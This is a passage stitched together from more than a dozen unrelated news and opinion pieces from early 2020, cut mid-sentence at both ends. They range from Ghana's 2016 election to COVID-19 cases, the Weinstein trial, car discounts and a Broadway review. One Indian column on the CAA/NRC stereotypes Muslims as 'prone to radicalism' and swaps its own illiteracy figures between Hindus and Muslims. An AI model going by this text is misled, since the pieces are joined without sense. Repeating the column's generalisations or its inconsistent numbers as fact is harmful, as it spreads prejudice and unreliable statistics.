after losing the presidential seat to a second-time contestant, Nana Akufo-Addo in the 2016 elections. While Akufo-Addo polled 5,755,758 votes representing 53.7% of the total valid votes cast, John Mahama polled 4,771,188 votes representing 44.5%. ---citinewsroom Things were going wrong. And fast. The basement of my daughters house where I now live aloneshe, Mike, and the kids moved last August to Pennsylvaniais inhabited by a water heater, a furnace, a compressor, three 4-foot-high tanks for softening the water, and a metal box beside these tanks containing salt whose purpose remains a mystery to me. For about a week, a thing-a-ma-jig at the base of the furnace had run continuously, the water softeners sounded off at irregular hours, and the compressor kept clicking off and on about five times per minute. When the compressor reached 12 times per minute, I texted my daughter, We need a plumber pronto, and called my son-in-law with the same message. Before taking a job in Pennsylvania, Mike was a contractor and builder in our community. He immediately contacted a good friend here, John, the owner of a property maintenance business who that very afternoon sent one of his plumbers to the house. Rescue William was 5-feet-10 or so, lanky, mid-50s, with a West Virginia accent and a ready smile. We went downstairs, and like all good craftsmen, he ran his hands over the parts and pieces of the various machinery, as if to take their measure through his fingertips. The compressors shot, he said, and well have to replace the condenser, too, which was what I had earlier considered the thing-a-ma-jig. He looked over the water softeners. I dont know much about these things. Youll need to get an outfit from Winchester to come look at em. After promising he would return at 9 the next morning with all the necessary parts, William shut down the condenser, the compressor, and the water softeners, and my noisy living quarters became silent as a tomb. See you tomorrow morning, I said when he left, wondering if it would be so. Previous experiences with tradesmen and punctuality left me dubious at best. Yet, lo and behold, William appeared at 9 a.m., parked his truck in the yard near the basement entrance, and began unloading his equipment, the condenser, and the compressor. He refused help carrying this equipment inside, refused my offer of coffeeI already had my shareand set to work. By early afternoon, he had installed all the necessary machinery, added a new shut-off valve for the entire system, and was loading the old compressor and his tools back in the truck. Come look at this thing, William said, twisting the compressor so I could see its bottom and a two-inch hole. Rusted out. You dodged a bullet. If that bladder inside had burst, your basement would have been full of water. Small Talk After he had loaded up his truck, we talked again for a while. We discovered we had both vacationed at Emerald Isle, North Carolina. We both had grown children who were making their way in the world and doing well. William had worked most of his life as a printer, running a machine, but several years ago he began researching his company online, and realized it and the printing business were about to go belly-up. For years, hed run a home repair business on the side, teaching himself skills like plumbing. When the opportunity to work came up for John, he said goodbye to his printing press and leaped at a new beginning. Before he left, I said to him, Thank heavens we have people like you. Otherwise, the rest of us would be living in caves. Thanks, he said, and smiled. I like what I do. Two days later, the water softener guy, also named John, showed up, again right on time. He was younger than William, had longer hair, and wore some sort of blanched tattoo on his left arm. Once again, he was competent. He was in the basement less than two hours, explained to me the repairs he had made, and when I thanked him, he echoed William: I love what I do. He told me that for nearly 10 years he had worked as a manager of a Home Depot distribution point, but got tired of the box. We Need These People All of us, at one time or another, need plumbers and electricians, painters and auto mechanics, and when we find one like William or John, conscientious, knowledgeable, punctual, we feel as if weve struck gold. Until we need them, we forget how dependent we are on such people. We take the luxuries they provide us as given, as ordinary as grass, until something goes awry. We buy our potatoes without reflecting on the many hands that brought them to the grocery store. We flip a switch, and a room at midnight fills with light. We turn a tap, and potable water flows into our kitchen sink. For a long time, the trades lacked prestige. Those who worked in construction and allied jobs often felt stigmatized. They sat at the back of the bus while doctors, lawyers, bankers and brokers, even nurses and teachers, rode in the front. Comedian Rodney Dangerfield was famous for the line, I dont get no respect, a line that some at the back of the bus must have sometimes thought applicable to them. Until the pipe bursts, or the furnace breaks down, or the car needs a new carburetor. Then they get respect. Changes in Attitude That attitude may be changing. In his 2020 State of the Union address, President Donald Trump called for providing greater attention and money to the trades. Many of our community colleges feature courses in everything from auto repair to welding, and because of a scarcity of young people entering the trades, opportunities for employment and good wages abound. In A Curmudgeons Guide to Getting Ahead, which I highly recommend to young people in their late teens and early 20s, Charles Murray offers some excellent advice on choosing a vocation. Unless they are absolutely certain about their choice of vocation, Murray recommends that young people first think about the things you enjoy. He provides a sort list for them to consider, such as: You enjoy being outdoors; You enjoy solving puzzles; You enjoy security and predictability; and You enjoy risk. Examine yourself in this way, Murray suggests, and then select a vocation that will match your personality and will bring you joy. A 2020 U.S. News & World Report report on the job market shows that many of those in the building trades earn good salaries and that all of the trades need more skilled workers. And we need them, too. We need more Williams and more Johns in the world. Jeff Minick has four children and a growing platoon of grandchildren. For 20 years, he taught history, literature, and Latin to seminars of homeschooling students in Asheville, N.C., Today, he lives and writes in Front Royal, Va. See JeffMinick.com to follow his blog. Your browser does not support the audio element. A Vietnamese-American man, the last patient being treated for the new coronavirus disease (COVID-19) in Ho Chi Minh City, has been released from the hospital after receiving a three-week course of treatment. The Ho Chi Minh City Hospital for Tropical Diseases in District 5 discharged Ta Hoa Kien., who is an American of Vietnamese descent,, on Friday afternoon. Kien was admitted to the Ho Chi Minh City Hospital for Tropical Diseases on January 31 severely ill with symptoms including a fever, coughing, and shortness of breath. Tests later showed he was positive for the novel coronavirus now named SARS-CoV-2 by the International Committee on Taxonomy of Viruses making him the seventh confirmed case in Vietnam and the third in Ho Chi Minh City after two Chinese men. Three weeks into treatment, the 73-year-old man constantly tested negative for the virus between February 12 and 17 and is now clear of all disease symptoms. Vietnamese-American COVID-19 patient Ta Hoa Kien waves upon his discharge from the Ho Chi Minh City Hospital for Tropical Diseases in District 5, February 21, 2020 Photo: Duyen Phan / Tuoi Tre As per treatment guidelines issued by the Ministry of Health, a COVID-19 patient is allowed to be discharged from the hospital only after their fever has ceased for at least three days and at least two samples, taken one day apart, test negative for the virus. Kien is now out of the hospital after meeting all of the above requirements. The doctors here saved me from dying. I will be grateful for all that theyve done for the rest of my life, he said upon his discharge. The novel coronavirus disease, named COVID-19 by the World Health Organization (WHO), has killed 2,247 people and infected over 76,700 globally since it first surfaced in the Chinese city of Wuhan in Hubei Province in December 2019, according to the South China Morning Post. To date Vietnam has confirmed 16 cases of the viral infection, including 13 Vietnamese, one Vietnamese American, and two Chinese. Before the Vietnamese-American mans discharge in Ho Chi Minh City, two other COVID-19 patients in the northern province of Vinh Phuc were released from a local general clinic on Thursday afternoon. Two COVID-19 patients (R) are released from a local general clinic in the northern province of Vinh Phuc, Vietnam, February 20, 2020. Photo: Thuy Anh / Tuoi Tre With the three latest hospital discharges, all but one of the 16 people who have been treated for COVID-19 in Vietnam have fully recovered. The remaining patient, who was only confirmed to be infected on February 13, is still receiving treatment at the Vinh Phuc clinic and showing positive progress, Thanh Nien (Young People) newspaper reported on Friday morning. Vietnam has reported no new case of COVID-19 infection since Thursday last week. The country was lauded by the WHO for having responded well to the COVID-19 epidemic in a statement released by the organization recently. While the U.N. health agency spoke highly of Vietnams ability to address urgent public health issues, it also urged the Southeast Asian country to stay on high alert and be ready to respond should more infections be detected. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Opponents of the CAA and NRC have gone to town accusing the BJP of an ulterior motive (read, disenfranchisement of Muslims) in implementing the NRC. By the same token it can be alleged that anti-CAA opponents have a nefarious agenda in mind that would be scuttled by the implementation of the NRC: Namely the accrual of dedicated vote banks and the restoration of Muslim hegemony over at least parts of India, especially Bengal and Assam, argues Vivek Gumaste. IMAGE: A protest against the CAA/NPR/NRC at Gandhi Maidan in Patna. Photograph: ANI Photo Part 1 of the column: The greatest threat to our democracy post 1975 Will the NRC discriminate against Muslims who are legitimate citizens of India? The charge that the CAA is a prelude to the NRC that will be used to target Muslims and render them stateless is a myth of unmitigated proportions. No anti-CAA opponent including the so-called public intellectuals and the voraciously voluble TV anchors and newspaper columnists have been able to proffer a plausible explanation for this baseless accusation. They are indulging in hit and run tactics under the assumption that they will not be held accountable amidst the din that has been engendered. Let us examine specific social factors that may compromise an individual's ability to negotiate the NRC and its requirements. The contention that only a poor illiterate Muslim because of his inability to obtain required documentation will be affected by the NRC is not based on evidence; it is a provocative, incendiary political ploy. According to the 2011 Census, illiteracy rates among Hindus and Muslims were 42 and 36 per cent respectively. When translated into actual numbers these figures will be 30 crores for Hindus (36 per cent of 96 crores) and 7 crores for Muslims (42 per cent of 17 crores). So, using these figures, if illiteracy is the glitch in implementing the NRC it will prove more discriminatory to a larger number of Hindus than Muslims unless you subscribe to a theory that an illiterate Muslim is more illiterate than an illiterate Hindu. Similarly, economic disparity between the communities (external link) is not that significant to be a game changer. According to the NSSO survey, the average per capita consumption expenditure (used as an indicator of income) among Muslims is just 32.66 per day, which is the least among all religious groups. It is highest among Sikhs (55.30), followed by Christians (51.43) and Hindus (37.50). In current times a 5 rupee/day difference will not amount to a significant enhancement of social status to give the person any advantage in negotiating the NRC. The NRC may not be a foolproof system at present and may need further refinement to be more effective and accurate, but one thing it is not -- an instrument that can be manipulated to discriminate against Muslims; Hindus and Muslims who are legitimate citizens of India will be in the same boat. By deliberate misinformation, an ideologically entrenched liberal lobby has willfully fed into the paranoia prevalent in the minority community to stoke unwarranted concerns, fueling extremist elements in a community prone to radicalism in the process. Liberals do not do the Muslims any good. By provoking unwarranted anxiety and enhancing radicalism they are creating an insecure, volatile and dangerous polity within the country. Is there a sinister agenda behind the anti-CAA-NRC protests? Opponents of the CAA and NRC have gone to town accusing the BJP of an ulterior motive (read, disenfranchisement of Muslims) in implementing the NRC. By the same token it can be alleged that anti-CAA opponents like political parties and radical Muslim elements have a nefarious agenda in mind that would be scuttled by the implementation of the NRC: Namely the accrual of dedicated vote banks and the restoration of Muslim hegemony over at least parts of India, especially Bengal and Assam. It is common knowledge that there has been a dangerous demographic alteration going on the states of West Bengal and Assam since the 1800s till recent times with districts bordering Bangladesh registering a disproportionate rise in the Muslim population that cannot be explained by existing fertility rates in the community -- in effect confirming illegal migration from Bangladesh. Even way back in 1991, with less impressive numbers, the scenario was disturbing. Out of a population of 28 million in the border districts of West Bengal, Muslims accounted for 17 million, leading T V Rajeswar, an ex IPS officer and IB chief who served as governor of West Bengal, Sikkim and Uttar Pradesh to sound a warning: 'There is a distinct danger of another Muslim country, speaking predominantly Bengali, emerging in the eastern part of India in the future, at a time when India might find itself weakened politically and militarily.' (S P Sinha. Lost Opportunities, Lancers Publishers, 2007). Elaborating on these demographic changes in Assam and West Bengal, Arun Shourie in an article in 2004 (Right on Course, Indian Express, October 9, 2004) surmises, '...the creation of a third Islamic State out of India is right on course'. So, is the current anti-CAA-NRC protest an attempt by radical elements to safeguard the Muslim advantage in these areas garnered by illegal migration of Muslims from Bangladesh in the past so that India's sovereignty can be compromised at an opportune time? And does this plan have the blessings of political parties whose vote banks will be preserved by rustication of the NRC? These are disturbing questions germane to this protest. Are detention centres unique to India? Let us be clear about one thing. Detention centres are not concentration camps. The attempt to convey this impression and thus draw a parallel between India under the BJP and Nazi Germany is irresponsible and mischievous scare mongering. Detention centres are not unique to India. In fact, every sovereign nation including the major western democracies like the US, UK and France -- all have detention centres. According to the Global Detention Project (external link), the United States possesses the largest immigration system system in the world with at least 637 detention centres which housed about 400,000 illegal immigrants in 2018. France has one of Europe's oldest detention systems in place; in the UK detention centres go by the name Immigration Removal Centres and even Switzerland has 32 such facilities. India has only 10 operational centres (6 in Assam and 1 each in Delhi, Goa, Rajasthan and Punjab) with six more under construction or planned. Currently there are barely 1,000 people in detention. Compared to the highly sophisticated and stringent anti-irregular immigration systems in place in most Western democracies, India's anti-immigration infrastructure is primitive and exceedingly benign; even when fully completed is unlikely to reach the capacity or stridency of the West. So, let us cut the crap from projecting Indian detention centres as some form of concentration camps. In summary, a humanitarian Act in keeping with our tradition meant to provide succour to deserving, persecuted minorities from India's neighbouring Islamic countries has been turned on its head. It has been craftily distorted by violence, misinformation and by exploiting insecurity among Muslims to project it as divisive instrument of hate and discrimination; a Machiavellian exercise of diabolical intent and proportions. The anti-CAA-NRC protests along with the resolutions passed by some state assemblies are in effect a frontal attack on our Constitution, our sovereignty and the fundamental structure of our democracy. It is imperative that those at the forefront of this travesty of truth, especially public intellectuals, look at themselves in the mirror: they will be surprised to see a grotesque demon covered with vitriol staring back at them. Academic Vivek Gumaste, who is based in the United States, is the author of My India: Musings of a Patriot. You can e-mail the author at gurhastev@yahoo.com In his Feb. 16 Sunday Opinion essay, President Trump and I disagreed. Liberty survives., Arthur C. Brooks clarified the disagreement between his remarks and those of President Trump at the recent National Prayer Breakfast. Mr. Brooks agreed with Jesus moral teachings to love your enemies and pray for those who persecute you, that you may be children of your Father in heaven vs. Mr. Trumps perception of his victimhood in that my family, our great country and your president have been put through a terrible ordeal by some very dishonest and corrupt people. Mr. Brooks ended his essay on a positive note by stating that in our country, he can disagree with a powerful president without fear of repercussion. Although I agree with Mr. Brooks as a matter of principle, I believe the issue is more nuanced considering that his freedom exists because of the actions and deaths of millions of Americans over decades of history. Whether it be GIs fighting to end the German Reich and the Holocaust, Civil War soldiers fighting to end slavery and preserve the Union, or GIs fighting in Afghanistan, it is hard to believe they loved their enemies. Harvey Weinstein walks to the courtroom in New York City criminal court on January 6, 2020 in New York City. The judge in the rape trial of fallen film mogul Harvey Weinstein told jurors Friday to continue their deliberations after they suggested they are hung on the most serious charges, of predatory sexual assault, in the case. Jurors on Friday afternoon in the Manhattan courthouse said in a note to Judge James Burke, "We the jury request to understand if we can be hung on 1 and or 3 but unanimous on the others." Counts 1 and 3 are charges of predatory sexual assault. Count 2 is criminal sexual act in the first degree, count 4 is rape in the first degree, and count 5 is rape in the third degree. If Weinstein is convicted of predatory sexual assault, he would face a minimum sentence of 10 years in prison with a maximum sentence of life behind bars. The charges of first-degree criminal sexual act and first-degree rape each have a minimum sentence of five years in prison with a maximum of 25 years. If convicted of third-degree rape, Weinstein faces a sentence ranging from probation to four years in prison. Burke told jurors that any verdict that they returned must be unanimous and that if they cannot be unanimous on a specific criminal count than they cannot return a verdict for that count. The judge asked the jurors to continue their deliberations, noting that it is not uncommon for a jury to have difficulty reaching a verdict. Jurors then resumed their deliberations for less than a half hour. Burke then dismissed the jurors for the weekend and told them to come back to court to continue their discussions on Monday morning. "Don't do anything that would put your health in jeopardy, because we need you, and thanks for everything you have done," Burke said. So far jurors have spent 24 hours deliberating in the case. Weinstein, 67, is charged with raping one woman, aspiring actress Jessica Mann, in a hotel room in Manhattan in 2013. He also is charged with forcibly performing oral sex on production assistant Mimi Haley in 2006. The actress Annabella Sciorra testified during the trial that Weinstein raped her in her apartment in either late 1993 or early 1994. Weinstein was not charged in the case with raping Sciorra, but her testimony, along with that of five other women, was permitted by the judge in order to allow prosecutors to show a pattern of conduct by Weinstein. Jury deliberations in the case began late Tuesday morning. Weinstein did not testify at the trial. Weinstein for years was one of Hollywood's powerful men, having backed a long string of financially successful and critically acclaimed movies such as "Shakespeare in Love" and "Gangs of New York." Actress Kate Hudsons activewear brand Fabletics is heading to The Galleria shopping center. The brand offers women's sportswear, footwear and accessories, available in seasonal prints and vibrant color palettes, in sizes ranging from XXS to 4X. The 2,741 square-foot Houston store, located on the lower level of The Galleria, is scheduled to open on March 7 at 10 a.m. with an in-store event including activations, promotions and giveaways, according to a Thursday release. Whats behind the tutu: An anatomy of the costume as seen through Houston Ballets Sleeping Beauty Customers will be able to request a different size or color and check stock without leaving the fitting room. They can also buy online with the option to pick up in-store. Im excited to continue to expand our retail footprint and bring our new store concept to Houston, Hudson said in the release. Fabletics is a brand for all women and our mission from the very beginning was about so much more than just creating cute activewear. We wanted to build an inclusive community that inspired women to live an active lifestyle and I am thrilled to bring that to the amazing women in Texas. Founded in 2013, El Segundo-based Fabletics has locations in 10 countries, including the U.S., Australia, Canada, Germany, Spain, France, Sweden and Denmark. Hyundai discounts in February 2020 range up to Rs 2.5 lakh for BS4 Creta, Elantra & Tucson. Even as Hyundai Motors India is gearing up for the launch of the new-generation Creta and Tucson facelifts in March and has opened bookings for the BS6 compliant versions of Venue compact-SUV, Elite i20 and Grand i10 hatchbacks, the company is extending hefty discounts for February 2020. Discount offers through the month of February 2020 are on the Santro, Grand i10, Xcent, Elite i20, Creta, Verna, Venue and also on the Elantra and Tucson. Hyundai Venue BS6 will soon be opened for bookings while there are hardly any stocks of the BS4 variants left. The Hyundai Santro BS6 cars are at a cash discount of Rs 15,000 along with an exchange bonus of Rs 15,000 while BS4 models of MY 2019 are on offer at Rs 30,000 cash discount and Rs 20,000 exchange offer. The prices of the Hyundai Santro BS6 have also been increased by Rs 22,000-27,000 depending on variant. Hyundai Grand i10 BS6 variants are at a cash discount and exchange bonus of Rs 15,000 respectively while buyers of the BS4 variants can avail a cash discount of Rs 40,000 and exchange offer of Rs 30,000. The Hyundai Grand i10 NIOS BS6 and BS4 variants come in with cash discount and exchange offers of Rs 10,000, respectively. While there is no discount scheme for the Hyundai Xcent BS6 through the month of February 2020, the cash discount on its BS4 MY 2019 variants stay at Rs 90,000. Hyundai Elite i20 cash discount on the BS6 MY 2020 is at Rs 15,000. The exchange bonus is also at Rs.15,000 while on BS4 MT 2019 variants, the cash discount extends to Rs 20,000 on the Era and Magna variants and goes up to Rs 40,000 on the Sportz and Asta variants. Exchange offer is standard at Rs 20,000. Hyundai Motors February 2020 discounts on Verna BS4 is at Rs 50,000 cash discount and Rs 30,000 exchange bonus while there is no offer on the Verna BS6 models. Hyundai Creta BS4 MY 2019 variants are at a cash discount of Rs 75,000 and exchange bonus of Rs 30,000. The new-gen Creta, which was revealed by brand ambassador Shah Rukh Khan at the 2020 Auto Expo will launch sometime in March 2020. It gets new styling, revised interiors and a new BS6-compliant engine set up. Hyundai Elantra BS6 MY 2020 variants are being offered with Rs 1 lakh cash discount while the BS4 MY 2019 models get offers up to Rs 2.5 lakh. The Tucson BS6 MY 2020 is at a discount of Rs 25,000 while buyers of the BS4 MY 2019 variant can avail offers up to Rs 2.5 lakh. The 2020 Hyundai Tucson facelift was also showcased at the Auto Expo with cosmetic updates and interior upgrades while it gets BS6-compliant petrol and diesel engines mated to a 6-speed manual or 6-speed automatic gearbox. The top-spec Tucson also receives AWD. The Hyundai Tucson competes with the Jeep Compass, Tata Harrier, MG Hector and Kia Seltos. Be A Poll Worker Be a poll worker and be part of American democracy in action. Each election, we recruit thousands of poll workers. As a new or returning poll worker you will receive training and materials to make sure you are confident and ready to help voters on Election Day. San Diego County embraces our diversity and provides language assistance to voters in the following languages: Learn about our special poll worker programs: College Students Program must be currently enrolled and may request a community service certificate in addition to their stipend. Application must be currently enrolled and may request a community service certificate in addition to their stipend. Application County of San Diego County Employee Program may work with the approval of the employees appointed authority. Application FAQ may work with the approval of the employees appointed authority. Application FAQ High School Student Program currently not available currently not available California State Employee Program may work with the approval of the employees appointed authority may work with the approval of the employees appointed authority. Application What do poll workers do? Complete mandatory training Assist in the set-up, close and clean-up of the voting location prior to and on Election Day Understand concepts, election procedures and equipment to accurately assist voters Communicate effectively with public, staff and management Provide excellent service to a diverse voter population Receive an hourly wage based on position (Precinct Inspector $17.61) (Technical Inspector $14.25) Work as a collective team to perform other duties as assigned to ensure all voters and visitors have a positive voting experience Handle and resolve difficult situations in a positive manner using good judgement and accuracy How much time does it take? Poll Workers must complete two days of in-person training One day of voting location set-up Up to four days of serving voters at a voting location; eight-hour days Saturday, Sunday and Monday before the Election, and 5:30am to 10pm on Election Day Additionally, one day of closing the voting location may be required On Election Day, what if I forget something I learned at the training? Your fellow poll workers are crossed trained and therefore can serve as resources You will be provided with a poll worker manual which can serve as an easy reference and outlines the duties and procedures for Election Day scenarios We will have a poll worker hotline staffed by experts available for you to call before and during Election Day Where do the poll workers work? There will be hundreds of poling locations across San Diego County. Send your application to: ROV Poll Worker Department, 5600 Overland Ave., San Diego, CA 92123 Fax 858-505-7299 Email pollworker@sdcounty.ca.gov Or call (858) 565-5800 with questions Submitting a poll worker application does not guarantee a position. The Registrar of Voters reserves the right to revise assignments as needed. What skills are needed to be a poll worker? e was handed over to the Assam Police team who has been in New Delhi for the past few days, by the Patiala House court on Wednesday. Guwahati: Assam Police here on Friday started interrogation of Sharjeel Imam who was arrested in January for his alleged seditious comments like Assam should be cut off from rest of India during the anti-CAA protests held at Shaheen Bagh in New Delhi. A team of crime branch, which brought Sharjeel on Thursday by Rajdhani Express to Guwahati, produced him before the chief judicial magistrate court, which on Friday remanded him to four-day police custody. Taking cognisance to the remark which went viral on social media, Assam police had registered a case against Sharjeel Imam on the basis of the audio clip. He was handed over to the Assam Police team who has been in New Delhi for the past few days, by the Patiala House court on Wednesday. Informing that police would try to find out his connections in Assam, security sources said that investigation officer was also trying to find out if Sharjeel Imam had visited the state in past also. Guwahati police commissioner M P Gupta told reporters that a team of crime branch has been entrusted with the responsibility to find out the circumstances and conspiracy behind his cut-off northeast remarks. Taoiseach Leo Varadkar has ruled out supporting the EUs proposed budget as it would result in Ireland paying out more money and receiving less from Brussels. Mr Varadkar and Irish negotiators met European Council president Charles Michel and Ursula von der Leyen, the European Commission president, to discuss the budget but Mr Varadkar rejected spending proposals for the bloc, which would impact negatively on Ireland. He described the proposal as one that we cant accept. Essentially it means that Ireland will contribute much more to the EU budget but we will actually receive less back in terms of payments to Irish farmers and also funds for regional development and social development, he said. Mr Varadkar said Ireland accepted that, with a growing economy, that it was obliged to pay more into the EU budget over the next seven years but that it could not accept cuts in farming payments and other funds. He made his objections clear to the council and commission presidents and that it was now unlikely that there would be agreement on the EUs multi-annual financial framework. Irelands position comes after EU leaders in Brussels clashed on the blocs budget. A tussle over the money comes after Britains departure from the EU, taking with it the previously planned 75 billion in its contributions over the period 2021 to 2027. German Chancellor Angela Merkel has warned that there are major differences to overcome among the 27 countries. Richer and poorer nations are split on contributions while some leaders want funds allocated more on certain areas, such as defence. Mr Varadkar said he understood that the so-called frugal four - Austria, Denmark, Sweden and the Netherlands - were holding their position on budget concerns. I understand where they are coming from. Ive met them [the leaders] all individually but I dont agree with that position, he said. If we are serious about supporting agriculture across the European Union, about building up the economies of central and eastern Europe, about dealing with security threats and climate action, that is going to cost money and that is why Ireland is one of the countries that is willing to contribute more to the EU budget as a wealthy country with a growing economy. Mr Varadkar reiterated that Ireland does not have a difficulty with the level of funds being asked and was not hung up on the percentages of GDP. Its kind of pay more and get less proposal and that is one that I cant accept, he said. Greta Thunberg is using her prize money from an award often described as an alternative Nobel Prize to establish a sustainability foundation, according to the Swedish organisation behind the prize. The purpose of the non-profit Greta Thunberg Foundation "is to promote ecological and social sustainability, as well as mental health", the Right Livelihood Foundation said. The teenage climate activist was one of four recipients of the 2019 Right Livelihood Award, which was founded in 1980 to "honour and support courageous people solving global problems". The one million kronor (80,000) that came with the award was transferred to create the foundation, Right Livelihood said. Capital is required to set up a foundation in Sweden. Greta, 17, said in January that she had established a foundation to transparently handle the money she gets from book royalties, donations and prizes. The Swedish teenager first drew attention two years ago when she skipped school once a week to protest against inaction to curb climate change by her country's legislators. Her activism inspired other students in Europe and grew into an international movement called Fridays for Future. Her parents have said she experienced severe depression before her teens and that activism has been good for her mental health. Greta has also discussed being diagnosed with Asperger's syndrome. Earlier this year, two Swedish legislators nominated Greta for the 2020 Nobel Peace Prize. President Donald Trump and Indian Prime Minister Narendra Modi attend "Howdy, Modi!" at NRG Stadium in Houston, Texas, on Sept. 22, 2019. (Saul Loeb/AFP via Getty Images) US Firm Set to Sign MoU to Supply 6 Nuclear Reactors to India During Trumps Visit Experts Say It's Significant Step Forward A U.S. energy firm is set to sign a Memorandum of Understanding (MoU) with Indias Nuclear Power Corporation for the supply of six nuclear reactors during President Trumps trip to the country next week. Experts said this will be a major step forward for both countries. American energy firm Westinghouse will sign the agreement with the state-run Nuclear Power Corporation of India (NPCIL), aiming to kickstart a long-pending project, according to an exlusive Reuters report. We are encouraging moving forward with Westinghouse and NPCIL to sign a MoU. It certainly is a private industry to private industry, a business to business decision, Dr. Rita Baranwal, assistant secretary for the Office of Nuclear Energy in the U.S. Department of Energy, told Reuters over the phone. Baranwal is optimistic that the agreement will be signed during Trumps upcoming visit. Indian and American analysts told The Epoch Times that if signed, the agreement would mean a major boost for the relationship between both the countries. It would be the first in many steps required to operationalize a deal for Westinghouse to build nuclear reactors in India. The historic nuclear deal signed by India and the U.S. in the mid-2000s was successful in welcoming India into the club of accepted international nuclear powers, Jeff M. Smith, a research fellow in Heritages Asian Studies Center, told The Epoch Times in an email. But the promise of the U.S. supplying nuclear reactors to India has thus far gone unfulfilled. The two sides have been engaged in on-again-off-again negotiations for roughly a decade. If this MoU does serve as the catalyst for final negotiations, and helps to resolve some longstanding obstacles related to liability, it would mark a significant step forward, he said. Westinghouse and NPCIL did not respond to Reuters request for comment, but Indian foreign ministry spokesman Raveesh Kumar confirmed on Thursday that the two companies were in talks to take the project forward. Aparna Pande, Research Fellow and Director of Hudson Institutes Initiative on the Future of India and South Asia, told The Epoch Times that if signed, the agreement would mean much more for the trade relationship between the two countries. In todays climate when India is seen as more protectionist and needs foreign investment, this deal means India is again open for companies, she said. President Trump has been seeking greater access to the Indian market for American products and Pande said the deal will also help build Indias image. What this Westinghouse deal will show is the final fruition of something that was expected as a positive outcome of the India-U.S. civil nuclear deal, she explained. The deal, unlike the defense deals, is also economic so will help boost Indias image in the eyes of President Trump because an American company will benefit, said Pande. However, Brahma Chellaney, a geopolitical analyst and a former member of the Indian governments Policy Advisory Group, told The Epoch Times that the deal may not mean much. The much-hyped 2005 U.S.-India nuclear deal hasnt led to a single reactor contract so far. That Trumps impending India visit is likely to yield a Westinghouse-NPCIL MOU (not contract) may not mean much, given how nuclear powers promise has faded globally. Skyrocketing construction costs, made worse by the post-Fukushima safety upgrades, and reliance on massive government subsidies are making nuclear power uncompetitive, he said in an email. Trumps meeting with Modi on Feb. 24 and 25 will be the fifth time President Trump meets him in the last five months. The two sides are set to sign major defense deals and hold talks on defense, counter-terrorism, people-to-people contact, energy, and regional issues, according to the Asia News Network. As of Tuesday, more than 100 U.S. citizens were either still onboard the Diamond Princess or in hospitals in Japan, according to the Centers for Disease Control and Prevention (CDC). "After disembarkation from the Diamond Princess, these passengers and crew will be required to wait 14 days without having symptoms or a positive coronavirus test result before they are permitted to board flights to the United States, the agency said in a statement. Off the ship, passengers face a second quarantine More than 300 Americans without symptoms have already arrived back in the U.S., having disembarked on Feb. 16 and flown back on cargo planes specially outfitted for the journey. Those passengers are now in the midst of another two-week quarantine, at either Travis Air Force Base, near Fairfield, California, or Joint Base San Antonio-Lackland, in Texas. Mark Jorgensen of St. George, Utah, is among those being held at the Fairfield facility after disembarking from the Diamond Princess, where he and his wife, Jerri, waited out the initial quarantine in good spirits. The pair even celebrated Valentine's Day on the ship with a special shrimp dinner and chocolate-heart dessert that the cruise line provided. South Korea confirmed 52 more cases of novel coronavirus on Friday as the number of infections linked to a religious sect in Daegu spiked, making it the worst-affected country outside China. Thirty-nine of the new cases were connected to the Shincheonji Church of Jesus in the southern city of Daegu, the Korea Centers for Disease Control and Prevention (KCDC) said, taking the country's overall figure to 156. More than 80 members of Shincheonji have now been infected, starting with a 61-year-old woman who developed a fever on February 10 but attended at least four church services before being diagnosed. The mayor of Daegu -- South Korea's fourth-biggest city, with a population of over 2.5 million -- has advised locals to stay indoors, while access to a major US military base in the area has been restricted. The streets remained active Friday with most people wearing masks, but many businesses were closed due to the outbreak. Workers on motorcycles sprayed disinfectant outside the Shincheonji church in the city, where passer-by Seo Dong-min, 24, told AFP: "With so many confirmed cases here I'm worried that Daegu will become the second Wuhan," referring to the Chinese city where the virus first emerged. Shincheonji is often accused of being a cult and claims its founder, Lee Man-hee, has donned the mantle of Jesus Christ and will take 144,000 people with him to heaven on the day of judgement. But with more church members than places in heaven available, they are said to have to compete for slots and pursue converts persistently and secretively. The KCDC said one more virus case had been confirmed at a hospital in Cheongdo county near Daegu where a total of 16 infections have now been identified, including a long-stay patient who died Wednesday after showing symptoms of pneumonia. Cheongdo is the birthplace of Shincheonji's founder Lee, and county officials said a three-day funeral was held for his brother three weeks ago at a hall owned by the hospital. President Moon Jae-in called for a "thorough investigation" of everyone who attended the funeral and Shincheonji services. "If you simply rely on the information provided by the church, the process can be slow," he told a cabinet meeting. "We need faster measures." Daegu's renowned Mijin restaurant, which has been in business for over 40 years, has closed, with a notice reading: "For your safety, we are suspending the business until coronavirus-19 is under control. We wish you and your family good health." And Lee Yoo-jin, 73, who runs a dress shop in the city centre, told AFP: "I have not had a single customer this week. I have run the shop for over 20 years and never have I seen such a drop."Daegu's mayor Kwon Young-jin said the local government had surveyed 3,700 Shincheonji members and 409 said they were experiencing symptoms. Some residents expressed frustration, with a passer-by at the church saying authorities should have closed a nearby subway station for cleaning. "Now it's all over the place," said the woman, surnamed Kim. "It's too late now." The central government on Friday declared Daegu and Cheongdo "special management zones". Seoul will support the region with medical personnel, beds and equipment, Prime Minister Chung Sye-kyun said, and the cabinet will meet three times a week to discuss the outbreak. The US army garrison in Daegu -- where around 10,000 soldiers, civilians and family members live or work -- has restricted access and instructed any American troops who recently attended Shincheonji services to self-quarantine. "Travel in and around Daegu is highly discouraged unless absolutely necessary," the garrison said Thursday in a Facebook post. "Please avoid public places and public transportation, to include stores, restaurants, subways and other heavily congested areas." Shincheonji has closed all its facilities nationwide. "We are deeply sorry that because of one of our members, who thought of her condition as a cold because she had not travelled abroad, led to many in our church being infected and thereby caused concern to the local community," it said in a statement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) What we know from news reports and sources close to the negotiations is that the United States has committed to reducing the U.S. troop level to 8,600, from the current level of about 13,000, in the first 135 days of the agreement. During that time, the Taliban is to renounce al-Qaeda and other terrorist groups and open negotiations with an Afghan committee, including government officials as well as other leaders. If the United States concludes those pledges have been met, the withdrawal will continue; the administration reportedly committed to a full pullout over time. The balcony-less balcony scene in West Side Story, at the Broadway Theatre. Photo: Julieta Cervantes Theres a rumble on Broadway right now, and just as with those poor unfortunate Jets and Sharks nobodys winning. The tussle is happening right in the middle of West Side Story, where the Belgian director Ivo van Hoves revival has been mortally divided against itself, done to death by its own staging and design choices. Dominated by an IMAX-size projection wall showing all manner of video a live feed of actors on- or backstage, pre-shot film of New York streets at night the production seems perversely gifted at finding the exact mode that will interfere with each moment and intention. There are certainly a few fine elements in the show, and Maria (Shereen Pimentel) and Tony (Isaac Powell) clear, 